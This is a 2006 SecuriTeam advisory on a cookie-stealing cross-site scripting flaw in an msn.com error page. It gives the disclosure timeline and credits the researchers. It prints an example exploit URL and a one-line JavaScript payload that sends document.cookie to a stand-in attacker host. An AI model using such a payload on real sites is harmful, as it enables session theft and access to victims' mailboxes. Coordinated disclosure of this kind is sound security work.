The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Cookie-stealing XSS on msn.com
------------------------------------------------------------------------
SUMMARY
A cookie-stealing Cross-site scripting vulnerability was found on MSN's
website (msn.com). Using this vulnerability, an attacker could potentially
gain access to a victim's Inbox.
DETAILS
Summary
A cookie-stealing Cross-site scripting vulnerability was found on MSN's
website (msn.com). Using this vulnerability, an attacker could potentially
gain access to a victim's Inbox.
This vulnerability was discovered by: tontonq and Nir Goldshlager.
Disclosure timeline
SecuriTeam was asked to assist the researchers with contacting Microsoft.
Reported to vendor: 18th of July, 2006.
Vendor response: 18th of July, 2006.
Resolved: 19th of July, 2006.
Public disclosure: 25th of July, 2006.
Technical description
A cookie-stealing XSS issue was discovered on MSN's web site.
Example of the issue:
http://newsletters.msn.com/hm/HMError.asp?CB=http://yourcookiestealer/stealer.js
That error page gets the CB variable into a script tag.
If John Doe wanted to steal a victim's cookie, he could use this example
Javascript
code:
i=new/**/Image();i.src='http://his_stealer/s.php?cookie='+document.cookie;
As such, if for example, s.php stores the cookie variable somewhere, the
attacker can set that stored cookie and "jump" to the Inbox.
For illustration, an older similar issue from 2005 on hotmail.com
discovered by Alex de Vries can be found here:
http://www.net-force.nl/files/articles/hotmail_xss/
About SecuriTeam's Assisted Disclosure
Many researchers do not have the time, energy or inclination to deal with
reporting a vulnerability to vendors.
SecuriTeam is here to help. If you want us to handle the logistics of
contacting and following up with the vendor, making sure the problem is
fixed, contact: STAD@SecuriTeam.com.
Our end goal is Full Disclosure, preferably in coordination with the
vendor,
without exposing the researcher to unnecessary risk.
We do not believe in hiding or selling vulnerabilities. Never had, never
will.
All credit will be properly attributed. If asked we can act as proxies,
keeping your privacy and anonymity.
ADDITIONAL INFORMATION
The vulnerability was discovered by tontonq and Nir Goldshlager.
This information has been provided by <http://www.securiteam.com/>
SecuriTeam.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
